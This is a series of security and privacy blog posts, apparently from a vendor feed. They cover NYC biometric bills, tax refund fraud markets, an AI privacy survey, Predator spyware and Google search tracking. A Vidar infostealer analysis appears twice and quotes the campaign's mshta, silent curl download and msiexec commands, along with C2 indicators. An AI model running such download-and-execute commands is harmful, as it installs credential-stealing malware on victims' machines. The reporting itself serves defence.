New York City lawmakers are pushing to ban private businesses from using biometric tools like voice and facial recognition software to track the public.

While the desire to use surveillance technology in stores to fight shoplifting is understandable, lawmakers and privacy advocates are worried that the data could be repurposed to profile customers.

The New York City Council has held a hearing over two bills that would ban city landlords and businesses from using facial recognition technology.

• One proposal would make it illegal for any public place to use biometric recognition technology to identify or verify a customer.
• The other would prohibit landlords from installing, activating, or using any biometric recognition technology that identifies tenants or their guests.

In this article we want to focus on some of the reasons behind these proposals.

For context, it’s good to know that in New York City, businesses that collect biometric data are already required to post standardized signs letting people know.

Let’s look at what happens when your face becomes your ID, and every movement in a store can be turned into another data point.

Why gathering biometric data is considered bad

Collecting biometric data raises several objections. The most pressing ones are:

• Unique but hard-to-erase identifiers. While you can reset a password, your face is harder to change. This means data leaks or abuse of facial templates, gait, or voiceprints can create permanent risks and be linked across databases.
• Accuracy and bias concerns. Studies and civil liberties groups have found that facial recognition system can be error-prone and biased across different groups.
• Lack of meaningful consent. In practice, supermarkets and landlords using facial recognition are giving people a mere theoretical choice. People can submit their biometrics or forego basic services. Critics argue that this undermines genuine consent.
• Chilling effect. The feeling of constantly being watched everywhere you go is an uncomfortable one, and can discourage people from engaging in everyday, legitimate activities.
• Surveillance pricing. This deserves some more explanation, which we’ll cover next.

What is surveillance pricing?

It’s essentially how your face becomes an unerasable loyalty card.

Imagine you go into a local supermarket and notice that different people pay different prices for the same item. Would that feel fair?

Surveillance pricing refers to the use of detailed consumer data and behavioral signals to dynamically adjust prices.

Some characterize it as retailers using big‑data profiles to segment customers into increasingly narrow groups, down to the level of potentially charging each person the maximum the model thinks they are willing to pay.

We already see versions of this online. When you’re looking for airline tickets, for example, prices can change based on various signals. But it can be hard to notice, and companies tell us it’s not personal. But imagine that same logic quietly following you into the supermarket.

How this works online is relatively straightforward: websites track clicks, time on page, cart activity, and past spending to estimate how sensitive you are to price changes.

In physical stores it’s more complex, but not impossible. Data from in-store security systems that also collect biometrics and facial recognition can be combined with loyalty programs, apps, and in‑store Wi‑Fi analytics could, in theory, be combined to build similar profiles.

Electronic shelf labels (ESL) can already allow retailers to change shelf prices instantly across a store or specific sections.

This could lead to situations where wealthier or more brand-loyal customers are quietly charged more. Or vulnerable groups could be targeted with manipulative discounts for higher‑margin or even less healthy products.

What to do?

Unfortunately, there’s no simple way to privacy‑hack your way out of a system that can turn your body into a tracking ID. The most effective fix is boring but powerful: laws with teeth, regulators that actually enforce them, and stores that don’t hide what they’re doing.

You could:

• Avoid stores that openly advertise biometric scanning when there are alternatives.
•  Support local and national efforts to regulate biometric tracking and related practices, such as the proposals from the New York City Council.

We shouldn’t have to trade access to food, housing, or basic services for the ability to move through a city without our bodies being mined for data. If we don’t draw that line now, practices like surveillance pricing could quietly bake inequality and discrimination into something as mundane as buying groceries.

We don’t just report on privacy—we offer you the option to use it.

Privacy risks should never spread beyond a headline. Keep your online privacy yours by using Malwarebytes Privacy VPN.

Tax season is also peak season for identity theft. Criminals use stolen personal data to file fake tax returns and claim refunds before the real taxpayer does. Here’s how the fraud works, and how to protect yourself.

What is Stolen Identity Refund Fraud (SIRF)?

Stolen Identity Refund Fraud (SIRF) is a type of tax fraud where criminals steal someone’s personal information—such as a Social Security number and date of birth—and use it to file a fake tax return in that person’s name in order to claim a tax refund.

The fraudsters usually submit the false return early in the tax season before the real taxpayer files, so the refund is issued to them instead of the legitimate person.

The money is often sent to bank accounts, debit cards, or addresses controlled by the criminals. Victims usually discover the fraud only when their real tax return is rejected or when the tax authority, like the US Internal Revenue Service (IRS), reports that a refund has already been issued in their name.

How is it even possible? 

As Americans scramble to meet the annual tax filing deadline, a hidden ecosystem on the Dark Web kicks into overdrive, transforming tax season into a lucrative period of the year for international cybercriminals.  Shahak Shalev, Global Head of Scam and AI Research at Malwarebytes, said:

“People are expecting messages about taxes, refunds, and filings, which makes phishing emails and fake IRS alerts much easier to believe. At the same time, the personal data needed to commit tax fraud is shockingly cheap on the dark web. It’s no surprise scammers treat tax season like an annual opportunity.”

Behind the sudden influx of fraudulent refund claims lies a highly organized criminal supply chain deeply rooted in Russian-language underground forums. These specialized platforms act as the primary enablers of tax fraud.  

Rather than harvesting data from scratch, fraudsters can simply purchase massive datasets of stolen Personally Identifiable Information (PII), complete with ready-to-use W-2 and 1040 forms. For more sophisticated operations, Initial Access Brokers (IABs) auction off direct network access to compromised Certified Public Accountants (CPAs) and accounting firms.  

Beyond raw data and access, this underground economy provides a full suite of “fraud-as-a-service” tools—including on-demand services to forge supporting financial documents and dedicated instructional hubs featuring step-by-step tutorials. 

The black market of PII 

At the epicenter of this illicit commerce is one of the premier Russian-language underground forums, which serves as the definitive marketplace for fraudsters to buy and offload tax-related PII. The commoditization of this data is staggering in its efficiency, operating much like a traditional e-commerce platform.  

Our research team has captured several compelling samples of this trading activity, highlighting a clear pricing tier based on the freshness of the data and the target demographic. In one recently observed listing, a threat actor advertised a bulk package of 100 complete tax forms for $2,000—effectively pricing a fully documented stolen identity at just $20.  

Conversely, older data dumps from the 2024 tax year are heavily discounted to clear inventory; highly sensitive records specifically belonging to wealthy retirees and pensioners from that period are currently being traded for less than $4 per identity. 

Access for sale 

This staggering volume of tax-related data must originate from somewhere, and threat actors have identified the ultimate jackpot: US companies that handle tax preparation and accounting procedures.  

From an attacker’s perspective, it is infinitely more efficient to breach a dedicated business that serves as a centralized vault for this sensitive information than to cast a wide net trying to trick individual citizens into handing over their personal details. 

Our research team recently intercepted a prime example of this strategy in action, identifying a Dark Web listing for compromised network access to a US-based tax service firm. The victimized organization is a small business; a typical target of criminals looking for easy access for exploitable information.

Exploiting these systemic weaknesses, the threat actor was able to quietly infiltrate the company’s internal infrastructure and is now auctioning off direct access to a database containing the complete, highly sensitive PII of over 1,600 clients. 

Additional data for sale 

Even when threat actors encounter roadblocks during the fraud process—such as a missing piece of PII or a highly specific financial document required for verification—the cybercrime underground offers a comprehensive suite of on-demand services to seamlessly solve these issues.  

Our research team has tracked a dedicated black market known as “Cypher – Fullz and Docs,” which specializes in selling complete, ready-to-use sets of stolen US identities (commonly referred to in the underground as “fullz”) for as little as $0.75 per set.  

However, having the basic data is sometimes not enough to bypass required checks.

When additional paperwork is required to legitimize a fraudulent claim, threat actors simply turn to specialized forgery services like “Fakelab.” For a nominal fee ranging between $20 and $40, Fakelab operates as an illicit digital design studio, meticulously forging any tax-related document an attacker might need, from customized W-2s to realistic bank statement, ensuring the scam can proceed without a hitch. 

Tutorials and guidance 

The culmination of the tax fraud lifecycle—and often the most precarious phase for the attacker—is the cashout. To successfully finalize the scam and extract the stolen funds, fraudsters require a robust financial infrastructure, typically relying on compromised “drop” bank accounts and supplementary financial tools designed to launder the money and obscure their tracks.  

Unsurprisingly, the Dark Web ecosystem provides not just the tools but the detailed education necessary to execute this critical phase. Our research team identified a dedicated underground resource known as “Flava,” which serves as a centralized instructional hub. This platform is brimming with comprehensive, step-by-step tutorials specifically detailing how to orchestrate these complex cashout schemes targeting US citizens and residents. 

How to stay safe

Stolen Identity Refund Fraud is a reminder that identity theft doesn’t just lead fraudulent purchases. It can impact something as fundamental as filing your taxes.

Cybercriminals take advantage of underground marketplaces that sell stolen personal data, compromised business access, and tools designed to support fraud. It makes it easier for criminals to file fake tax returns quickly and at scale.

For taxpayers, the best defense is limiting the amount of personal data available to criminals, filing your taxes early, and paying attention to any warning signs that someone may be trying to use your identity.

Tax fraud often depends on criminals getting access to your personal information first. The less data they have, the harder it is for them to impersonate you. Here are some steps that can help reduce your risk:

• File your taxes early. Submitting your legitimate tax return early makes it much harder for criminals to file one in your name first.
• Protect your Social Security number. Avoid sharing your Social Security number unless it’s absolutely necessary.
• Watch out for phishing emails and texts. Scammers often pose as the IRS, banks, or tax services to trick people into revealing personal data.
• Use strong, unique passwords. If criminals gain access to your email or financial accounts, they may be able to collect the information needed to impersonate you.
• Monitor your accounts and credit reports. Unexpected tax notices, rejected returns, or unfamiliar financial activity can all be warning signs of identity theft.
• Consider an IRS Identity Protection PIN (IP PIN). An IP PIN adds an extra verification step when filing your tax return, helping prevent criminals from filing in your name.

Note: These dark web screenshots have been roughly translated from Russian. 

AI didn’t sneak into our lives. It burst through the door, took a seat at the table, and started finishing our sentences.

Instead of a helpful list of links, Google now tries to answer your question. Microsoft’s Copilot drafts replies to your boss before you’ve had coffee. Your phone summarizes conversations you don’t even remember having.

Every major tech company is racing to add AI to its products because no one wants to be left behind. And the public is often forced to accommodate such corporate whims because of the increasing effects of “enshittification,” as explained by Cory Doctorow on the Lock and Code podcast.

People are using AI. But they don’t trust it.

In our latest privacy pulse survey, in which we gathered 1,200 responses from readers of the Malwarebytes newsletter earlier this year, 90% of respondents said they’re worried about AI using their data without consent.

Ninety per cent.

That’s not a few skeptics. That’s nearly everyone we asked. We admit, our sample is probably skewed towards the privacy conscious. But 90% of people who follow Malwarebytes are worried about how much personal data AI is slurping up, and what it’s going to do with it, so that’s a good barometer for how much everyone should care.

That concern is changing the way people are using the internet:

• 88% do not “freely share personal information with AI tools like ChatGPT and Gemini”
• 84% have not “shared personal health information with AI tools”
• 43% have “stopped using ChatGPT”
• 42% have “stopped using Gemini”

This distrust didn’t start with AI

Of course, AI gets all the headlines. We write about many of them.

But people have been concerned about holding onto their personal information for a long time.

From the survey:

• 92% are concerned about their “personal data being used inappropriately by corporations,” which is up slightly from last year (89% in 2025)
• 74% are concerned about their “personal data being accessed and used inappropriately by the government” (up from 72%)

Years of data breaches, shady tracking practices, and dangerous misuse by data brokers have chipped away at our confidence in organizations to protect our data. Over the past year, healthcare organizations have continued to report major security lapses affecting sensitive patient data. The FTC warned about “staggering” commercial surveillance practices that most consumers never agreed to, and, according to our survey, 49% of people reported that their personal info has been used in scams that target them or their family.

Is AI really any different to, say, social media?

When people use social media, they generally understand their clicks and likes are being tracked. When they shop online, they expect the shop to store their purchase histories or track the items they were interested in. They understand the concept of advertising and see how it slots into social or commercial websites.

AI tools are different because we use them differently.

When we share ideas, client meeting notes, personal dilemmas, and health questions with an AI assistant, we are treating them as a confidant. Maybe we’ve paid for an access level that promises not to train its models on our data. Even when we’re chatting about flat-packs and missing screws with a site’s AI chatbot, we behave as if we’re talking to another person, and not broadcasting that conversation to the world.

The interaction with AI feels intimate and conversational, even though we’re all aware we’re talking with a bot. That makes the uncertainty around how that AI handles the data we’ve fed it more personal, more immediate.

We know that AI assistants from a company are often plugged into other tools. We know GPTs can be created by any developer or scammer. (Check out Malwarebytes in ChatGPT—we’re one of the good guys). We know nearly every business or personal platform now has some form of AI-based data-gathering element. What the average person doesn’t know about AI feels scary.

• Where are our prompts stored?
• Are those prompts are used to train the AI?
• How long are they kept?
• Can anyone inside the company read them?
• Can they be bought? Used for advertising? Leaked?…

Yes, companies publish policies, but who in the real and busy world reads all those before we use the tool? Fewer than half, but a growing number, with 48% said they now read privacy policies and reports—up from 43% in 2025.

Besides, we know from recent headlines that companies are rushing out AI features before they’ve had time to properly security-check them.

A glimmer of hope: People are taking action

This result from the survey caught our eye.

63% of respondents agreed with the statement: “I feel resigned that my personal data is already out there, and I can’t get it back.”

Last year, that number was 74%.

So, while concern about data misuse is still high, fewer people feel entirely helpless.

Respondents reported taking practical steps to limit their data exposure.

Some have reduced or stopped their use of certain platforms entirely because of privacy concerns, including social media (44% have stopped using Instagram, 37% have stopped using Facebook, and 49% have stopped using Tiktok) and AI tools (43% have stopped using ChatGPT, 42% have stopped using Gemini).

Others reported sharing less personal information online or avoiding sensitive topics in digital conversations (88% said they do not freely share personal information with AI tools).

There is also increased use of privacy-protective tools for their data, devices, and identities.

• 46% use a VPN (up from 42% in 2025)
• 40% have an identity theft protection solution (down from 43%)
• 25% use a personal data removal service or solution (up from 23%)
• 71% use an ad blocker for online browsing (up from 69%)
• 48% read privacy policies and reports (up from 43%)
• 76% use MFA (up from 69%)
• 82% opt-out of data collection, as possible (up from 75%)
• 38% use fake/dummy data online whenever possible (up from 33%)

None of these actions erase historical data trails, but they do limit new exposure. David Ruiz, senior privacy advocate at Malwarebytes, said:

“Twenty years of online innovation have pointed too many companies in the same direction—against everyday people.

For most people today, the corporations that are pressing AI tools into their daily lives are the same corporations that have monetized their attention spans, invaded their privacy, and lost their data to breaches. But a counterforce is emerging.

The small changes in user behavior should encourage others to understand that, even now, privacy remains possible and worthwhile.”

Privacy protection can feel binary: either everything is exposed or everything is secure. But it’s incremental, and the survey responses reflect how people are starting to take back control of their data.

What this means for companies

Organizations adding AI into their products face a more complex audience than they might have first assumed.

For years, product teams have assumed users would trade more data for more convenience. But when nearly nine in ten people said they’re concerned about AI using their data without consent, trust becomes part of the product itself. Mozilla jumped on this and added a simple “turn off AI” button to Firefox.

It’s no longer enough to highlight what AI can do. Users want to understand what happens after they press “submit.”

We the People… want strong privacy laws

When concern reaches the sort of level we’ve seen in our survey, it inevitably raises the thorny question of regulation.

91% of respondents said they “support national laws regulating how companies can collect, store, share, or use our personal data.”

The issue is less about one tool and more about a sense that the guardrails are unclear. Generative AI systems can draft legal documents, write emails, and process sensitive data at speed. Much of the existing privacy frameworks in the US, EU, and other regions were written before AI was commonplace.

Regulators are trying to catch up. The European Union’s AI Act, passed in 2024, introduced a risk-based approach to governing certain AI systems. In the US, federal agencies including the FTC have issued guidance and warnings around commercial surveillance and automated decision-making, but it does not yet have a comprehensive AI-specific privacy statute.

Desire for national laws and regulation is at an all-time high. Consumers want boundaries that are understandable and enforceable.

What you can do

We’re clearly not going to abandon all technology. AI isn’t going to eat itself out of existence. It can be pretty useful. We use AI to find threats and scams no one’s seen before, which leads to far better protection. We also use generative AI in Scam Guard to provide 24/7 chat assistance (paired with our deep threat research expertise, of course). Many people use them to save time, draft documents, or explore ideas. Also, sadly, to create little caricatures of themselves.

The key here is thoughtful use.

• Limit what information you give to public AI tools, especially health details, financial data, and client-sensitive information.
• Review the privacy and data retention policies of AI tools you use regularly.
• Delete accounts and apps you no longer need.
• Audit app permissions at least twice a year.
• Use a VPN to reduce tracking by your internet service provider.
• Remove your information from major data broker sites. Check whether your personal info is exposed with a Digital Footprint scan.
• Use a reputable password manager and avoid reusing passwords across services.

At Malwarebytes, we believe privacy is a human right. Protecting personal data is inseparable from protecting personal security. The more information that circulates without oversight, the greater the opportunity for misuse, fraud, and harm.

AI will continue to develop. That trajectory is unlikely to slow. The question is whether trust will grow alongside it.

Survey information

Malwarebytes conducted a pulse survey of its newsletter readers between January 26 and February 3, 2026, via the Alchemer Survey platform.

In total, 1,235 people responded from 72 counties, with most respondents from the US, UK, Canada and Australia.

In recent years, ClickFix and fake CAPTCHA techniques have become a popular way for cybercriminals to distribute malware. Instead of exploiting a technical vulnerability, these attacks rely on convincing people to run malicious commands themselves.

Our researchers have recently detected a campaign that ultimately delivers the Vidar infostealer, using several different infection chains.

One of the methods used in this campaign involves installing a malicious installer delivered through fake CAPTCHA pages hosted on compromised WordPress websites. We detected a number of compromised websites involved in the campaign, located in countries including Italy, France, the United States, the United Kingdom, and Brazil.

What is Vidar?

Vidar is a well-known infostealer malware family designed to harvest sensitive data from infected systems. It typically targets:

• Browser-stored usernames and passwords
• Cryptocurrency wallet information
• Session cookies and authentication tokens
• Autofill data and saved payment information
• Files that may contain sensitive data

Because Vidar loads in memory and communicates with remote command servers, it can quietly collect and exfiltrate data without obvious signs of infection.

Fake CAPTCHA: the never-ending story

When a user visits a compromised website, they may see a screen mimicking Cloudflare’s familiar “Verifying you are human” page.

This technique has been widely used since 2024 and has evolved through numerous variations over time, both in its visual appearance and in the malicious commands that start the infection chain.

The page instructs the visitor to copy and run a malicious command that starts the infection chain, in this case:

mshta https://{compromised website}/challenge/cf

Mshta is a legitimate Windows binary designed to execute Microsoft HTML Application (HTA). Because it is built into Windows, attackers have abused it since the early days of the ClickFix campaigns.

In this case, the command launches a simple obfuscated HTA script, which eventually downloads and installs malware associated with the Vidar infostealer.

HTA-based MSI dropper

The HTA script is the intermediate stage that downloads and runs a malicious MSI installer. An MSI is a Windows installation package normally used to install software, but attackers frequently abuse it to deliver malware.

The script performs several operations:

• The window is resized to 0x0 and moved off-screen, making the application invisible to the user.
• The script terminates if the document.location.href doesn’t start with http.
• The strings are decoded using XOR and a random key.
• Through WMI queries, the script checks for installed antivirus products.
• It creates hidden working folders in a random folder under \AppData\Local to drop the MSI file.
• In the end, the script downloads the malicious MSI from a compromised website. The downloaded file must be larger than 100 KB to be considered valid. Finally, it removes the :Zone.Identifier alternate data stream.

In this case, the malicious MSI was downloaded using the following command:

“C:\Windows\System32\curl.exe" -s -L -o “C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi” https://{compromised-website}/474a2b77/5ef46f21e2.msi

Afterward, the malicious MSI was executed with:

"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi" /qn

MSI and GoLang loader

The MSI defines a CustomAction ConfigureNetFx, and it executes a GoLang loader.

Malware loaders (also known as droppers or downloaders) are common tools in the cybercrime ecosystem. Their main job is to stealthily compromise a system and then deliver one or more additional malware payloads.

In this campaign, the loader ultimately decrypts and executes the Vidar infostealer. The executable has different names in the different MSI samples analyzed.

The Golang loader decodes a shellcode that performs different anti-analysis checks, including:

CheckRemoteDebuggerPresent

IsDebuggerPresent

QueryPerformanceCounter

GetTickCount

After several intermediate steps, the loader decrypts and loads Vidar infostealer directly into memory.

Analysis of compromised websites

The malicious iframe injected into the compromised websites was generated by the domains cdnwoopress[.]com or woopresscdn[.]com in the analyzed cases.

The injected code has several functions, and the command used in the fake CAPTCHA attack is obtained from the /api/get_payload endpoint.

Because the malicious website was misconfigured, we were able to view the backend code injected into the compromised WordPress sites.

The injected script performs several actions:

• Creates the file wp-cache-manager.php if it doesn’t already exist, obtaining its contents from the endpoint /api/plugin.
• Sends a heartbeat request every hour containing the domain name, site URL, WordPress version, and status.
• During page loads (template_redirect), the script filters visitors based on User-Agent and targets Windows desktop visitors.
• Requests /api/inject?domain=domain from the remote command server. The response HTML is then displayed, replacing the normal WordPress page.

How to stay safe

Attacks like this rely on tricking people into running commands themselves, so a few simple precautions can make a big difference.

• Slow down. If a webpage asks you to run commands on your device or copy and paste code, pause and think before following the instructions. Cybercriminals often create a sense of urgency with fake security checks, countdown timers, or warnings designed to make you act without thinking.
• Never run commands from untrusted sources. A legitimate website should never require you to press Win+R, open Terminal, or paste commands into PowerShell just to verify you are human. If a page asks you to do this, treat it as suspicious.
• Verify instructions independently. If a website tells you to execute a command or perform a technical action, check official documentation or contact support through trusted channels before doing anything.
• Be cautious with copy and paste. Some attacks hide malicious commands in copied text. If you ever need to run a command from documentation, typing it manually can help reduce the risk of running hidden code.
• Protect your device. Keep your operating system and browser updated and use security software that can block malicious websites and detect infostealer malware.
• Stay informed. Techniques like fake CAPTCHA pages and ClickFix attacks continue to evolve. Knowing that attackers may try to trick you into running commands yourself can help you spot these scams before they succeed.

Pro tip: The free Malwarebytes Browser Guard extension can warn you if a website attempts to copy content to your clipboard, which may help prevent this type of attack.

Indicators of Compromise (IOCs)

Domains

• cdnwoopress[.]com: Fake CAPTCHA Infrastructure
• woopresscdn[.]com: Fake CAPTCHA Infrastructure
• walwood[.]be: Fake CAPTCHA Infrastructure
• telegram[.]me/dikkh0k: Vidar C2
• telegram[.]me/pr55ii: Vidar C2
• steamcommunity[.]com/profiles/76561198742377525: Vidar C2
• steamcommunity[.]com/profiles/76561198735736086: Vidar C2

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Cybersecurity researchers have taken a close look at the inner workings of the Predator spyware, developed by the Cyprus-based company Intellexa. Rather than focusing on how the spyware initially infects a device, this latest research zooms in on how the malware behaves once a device has already been compromised.

The most fascinating discovery involves the mechanisms the Trojan uses to hide iOS camera and microphone indicators. By doing so, it can covertly spy on the infected user. In today’s post, we break down what Predator spyware actually is, how the iOS indicator system is designed to work, and how this malware manages to disable these indicators.

What Predator is, how it works, and what… Alien has to do with it

We previously took a deep dive into the most notorious commercial spyware out there in a dedicated feature — where we discussed the star of today’s post, Predator, among the others. You can check out that earlier post for a detailed review of this spyware, but for now, here’s a quick refresher on the essentials.

Predator was originally developed by a North Macedonian company named Cytrox. It was later acquired by the aforementioned Intellexa, a Cyprus-registered firm owned by a former Israeli intelligence officer — a truly international spy games collaboration.

Strictly speaking, Predator is the second half of a spyware duo designed to monitor iOS and Android users. The first component is named Alien; it’s responsible for compromising a device and installing Predator. As you might’ve guessed, these pieces of malware are named after the famous Alien vs. Predator franchise.

An attack using Intellexa’s software typically begins with a message containing a malicious link. When the victim clicks it, they’re directed to a site that leverages a chain of browser and OS vulnerabilities to infect the device. To keep things looking normal and avoid raising suspicion, the user is then redirected to a legitimate website.

Besides Alien, Intellexa offers several other delivery vehicles for landing Predator on a target’s device. These include the Mars and Jupiter systems, which are installed on the service provider’s side to infect devices through a man-in-the-middle attack.

Predator spyware for iOS comes packed with a wide array of surveillance tools. Most notably, it can record and transmit data from the device’s camera and microphone. Naturally, to keep the user from catching on to this suspicious activity, the system’s built-in recording indicators — the green and orange dots at the top of the screen — must be disabled. While it’s been known for some time that Predator could somehow hide these alerts, it’s only thanks to this research that we know how exactly it pulls it off.

How the iOS camera and microphone indicator system works

To understand how Predator disables these indicators, we first need to look at how iOS handles them. Since the release of iOS 14 in 2020, Apple devices have alerted users whenever the microphone or camera is active by displaying an orange or green dot at the top of the screen. If both are running simultaneously, only the green dot is shown.

In iOS 14 and later, an orange dot appears at the top of the screen when the microphone is in use. Source

Just like other iOS user interface elements, recording indicators are managed by a process called SpringBoard, which is responsible for the device’s system-wide UI. When an app starts using the camera or microphone, the system registers the change in that specific module’s state. This activity data is then gathered by an internal system component, which passes the information to SpringBoard for processing. Once SpringBoard receives word that the camera or microphone is active, it toggles the green or orange dot on or off based on that data.

If the camera is in use (or both the camera and microphone are), a green dot appears. Source

From an app’s perspective, the process works like this: first, the app requests permission to access the camera or microphone through the standard iOS permission mechanism. When the app actually needs to use one or both of these modules, it calls the iOS system API. If the user has granted permission, iOS activates the requested module and automatically updates the status indicator. These indicators are strictly controlled by the operating system; third-party apps have no direct access to them.

How Predator interferes with the iOS camera and microphone indicators

Cybersecurity researchers analyzed a captured version of Predator and uncovered traces of multiple techniques used by the spyware’s creators to bypass built-in iOS mechanisms and disable recording indicators.

In the first approach — which appears to have been used during early development — the malware attempted to interfere with the indicators at the display stage right after SpringBoard received word that the camera or microphone was active. However, this method was likely deemed too complex and unreliable by the developers. As a result, this specific function remains in the Trojan as dead code — it’s never actually executed.

Ultimately, Predator settled on a simpler, more effective method that operates at the very level where the system receives data about the camera or microphone being turned on. To do this, Predator intercepts the communication between SpringBoard and the specific component responsible for collecting activity data from these modules.

By exploiting the specific characteristics of Objective-C — the programming language used to write the SpringBoard application — the malware completely blocks the signals indicating that the camera or microphone has been activated. As a result, SpringBoard never receives the signal that the module’s status has changed, so it never triggers the recording indicators.

How to lower your risk of spyware infection

Predator-grade spyware is quite expensive, and typically reserved for high-stakes industrial or state-sponsored espionage. On one hand, this means defending against such a high-tier threat is difficult — and achieving 100% protection is likely impossible. On the other hand, for these same reasons, the average user is statistically unlikely to be targeted.

However, if you’ve reason to believe you’re at risk from Predator or Pegasus-class spyware, here are a few steps you can take to make an attacker’s job much harder:

• Don’t click suspicious links from unknown senders.
• Regularly update your operating system, browsers, and messaging apps.
• Reboot your device occasionally. A simple restart can often help “lose the tail”, forcing attackers to reinfect the device from scratch.
• Install a reliable security solution on all the devices you use.

For a deeper dive into staying safe, check out security expert Costin Raiu’s post: Staying safe from Pegasus, Chrysaor and other APT mobile malware.

Curious about other ways your smartphone might be used to spy on you? Check out our related posts:

• How smartphones build a dossier on you
• Are your Bluetooth headphones spying on you?
• How to track anyone via the Find My network
• How to stop being tracked via Bluetooth beacons like AirTag
• Operation Triangulation: the most sophisticated iOS spyware we’ve ever found

In recent years, ClickFix and fake CAPTCHA techniques have become a popular way for cybercriminals to distribute malware. Instead of exploiting a technical vulnerability, these attacks rely on convincing people to run malicious commands themselves.

Our researchers have recently detected a campaign that ultimately delivers the Vidar infostealer, using several different infection chains.

One of the methods used in this campaign involves installing a malicious installer delivered through fake CAPTCHA pages hosted on compromised WordPress websites. We detected a number of compromised websites involved in the campaign, located in countries including Italy, France, the United States, the United Kingdom, and Brazil.

What is Vidar?

Vidar is a well-known infostealer malware family designed to harvest sensitive data from infected systems. It typically targets:

• Browser-stored usernames and passwords
• Cryptocurrency wallet information
• Session cookies and authentication tokens
• Autofill data and saved payment information
• Files that may contain sensitive data

Because Vidar loads in memory and communicates with remote command servers, it can quietly collect and exfiltrate data without obvious signs of infection.

Fake CAPTCHA: the never-ending story

When a user visits a compromised website, they may see a screen mimicking Cloudflare’s familiar “Verifying you are human” page.

This technique has been widely used since 2024 and has evolved through numerous variations over time, both in its visual appearance and in the malicious commands that start the infection chain.

The page instructs the visitor to copy and run a malicious command that starts the infection chain, in this case:

mshta https://{compromised website}/challenge/cf

Mshta is a legitimate Windows binary designed to execute Microsoft HTML Application (HTA). Because it is built into Windows, attackers have abused it since the early days of the ClickFix campaigns.

In this case, the command launches a simple obfuscated HTA script, which eventually downloads and installs malware associated with the Vidar infostealer.

HTA-based MSI dropper

The HTA script is the intermediate stage that downloads and runs a malicious MSI installer. An MSI is a Windows installation package normally used to install software, but attackers frequently abuse it to deliver malware.

The script performs several operations:

• The window is resized to 0x0 and moved off-screen, making the application invisible to the user.
• The script terminates if the document.location.href doesn’t start with http.
• The strings are decoded using XOR and a random key.
• Through WMI queries, the script checks for installed antivirus products.
• It creates hidden working folders in a random folder under \AppData\Local to drop the MSI file.
• In the end, the script downloads the malicious MSI from a compromised website. The downloaded file must be larger than 100 KB to be considered valid. Finally, it removes the :Zone.Identifier alternate data stream.

In this case, the malicious MSI was downloaded using the following command:

“C:\Windows\System32\curl.exe" -s -L -o “C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi” https://{compromised-website}/474a2b77/5ef46f21e2.msi

Afterward, the malicious MSI was executed with:

"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi" /qn

MSI and GoLang loader

The MSI defines a CustomAction ConfigureNetFx, and it executes a GoLang loader.

Malware loaders (also known as droppers or downloaders) are common tools in the cybercrime ecosystem. Their main job is to stealthily compromise a system and then deliver one or more additional malware payloads.

In this campaign, the loader ultimately decrypts and executes the Vidar infostealer. The executable has different names in the different MSI samples analyzed.

The Golang loader decodes a shellcode that performs different anti-analysis checks, including:

CheckRemoteDebuggerPresent

IsDebuggerPresent

QueryPerformanceCounter

GetTickCount

After several intermediate steps, the loader decrypts and loads Vidar infostealer directly into memory.

Analysis of compromised websites

The malicious iframe injected into the compromised websites was generated by the domains cdnwoopress[.]com or woopresscdn[.]com in the analyzed cases.

The injected code has several functions, and the command used in the fake CAPTCHA attack is obtained from the /api/get_payload endpoint.

Because the malicious website was misconfigured, we were able to view the backend code injected into the compromised WordPress sites.

The injected script performs several actions:

• Creates the file wp-cache-manager.php if it doesn’t already exist, obtaining its contents from the endpoint /api/plugin.
• Sends a heartbeat request every hour containing the domain name, site URL, WordPress version, and status.
• During page loads (template_redirect), the script filters visitors based on User-Agent and targets Windows desktop visitors.
• Requests /api/inject?domain=domain from the remote command server. The response HTML is then displayed, replacing the normal WordPress page.

How to stay safe

Attacks like this rely on tricking people into running commands themselves, so a few simple precautions can make a big difference.

• Slow down. If a webpage asks you to run commands on your device or copy and paste code, pause and think before following the instructions. Cybercriminals often create a sense of urgency with fake security checks, countdown timers, or warnings designed to make you act without thinking.
• Never run commands from untrusted sources. A legitimate website should never require you to press Win+R, open Terminal, or paste commands into PowerShell just to verify you are human. If a page asks you to do this, treat it as suspicious.
• Verify instructions independently. If a website tells you to execute a command or perform a technical action, check official documentation or contact support through trusted channels before doing anything.
• Be cautious with copy and paste. Some attacks hide malicious commands in copied text. If you ever need to run a command from documentation, typing it manually can help reduce the risk of running hidden code.
• Protect your device. Keep your operating system and browser updated and use security software that can block malicious websites and detect infostealer malware.
• Stay informed. Techniques like fake CAPTCHA pages and ClickFix attacks continue to evolve. Knowing that attackers may try to trick you into running commands yourself can help you spot these scams before they succeed.

Pro tip: The free Malwarebytes Browser Guard extension can warn you if a website attempts to copy content to your clipboard, which may help prevent this type of attack.

Indicators of Compromise (IOCs)

Domains

• cdnwoopress[.]com: Fake CAPTCHA Infrastructure
• woopresscdn[.]com: Fake CAPTCHA Infrastructure
• walwood[.]be: Fake CAPTCHA Infrastructure
• telegram[.]me/dikkh0k: Vidar C2
• telegram[.]me/pr55ii: Vidar C2
• steamcommunity[.]com/profiles/76561198742377525: Vidar C2
• steamcommunity[.]com/profiles/76561198735736086: Vidar C2

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Your Google Search history provides one of the most detailed windows into your private life, and I know this because when I looked at my own search history last year, I was overwhelmed by the information buried within.

Across just 18 months, Google tracked the 8,079 searches I made and the 3,050 websites I visited because of those searches. That included my late-night perusal of WebMD because of medical symptoms I’d looked up just seconds before, my tour of Goodwill donation sites as I searched for where to drop off clothes ahead of an upcoming move, and my ironically tracked visit to a Reddit thread titled “How do I delete most, if not all, of my info off of the Internet?” (One answer I learned: Don’t use Google Search.)

Google tracked my every question, concern, and flight of fancy—almost literally. On just one day in August 2025, Google recorded the seven flight searches I made on Google Flights and the six hotel searches I made on Google Travel.

Google also recorded the many questions and requests I made when researching topics for the Lock and Code podcast, which I host. And while all of that Google data made for an interesting investigation into what Google knows about me (which you can listen to below), it also made it clear that more people should know how to access this same information.

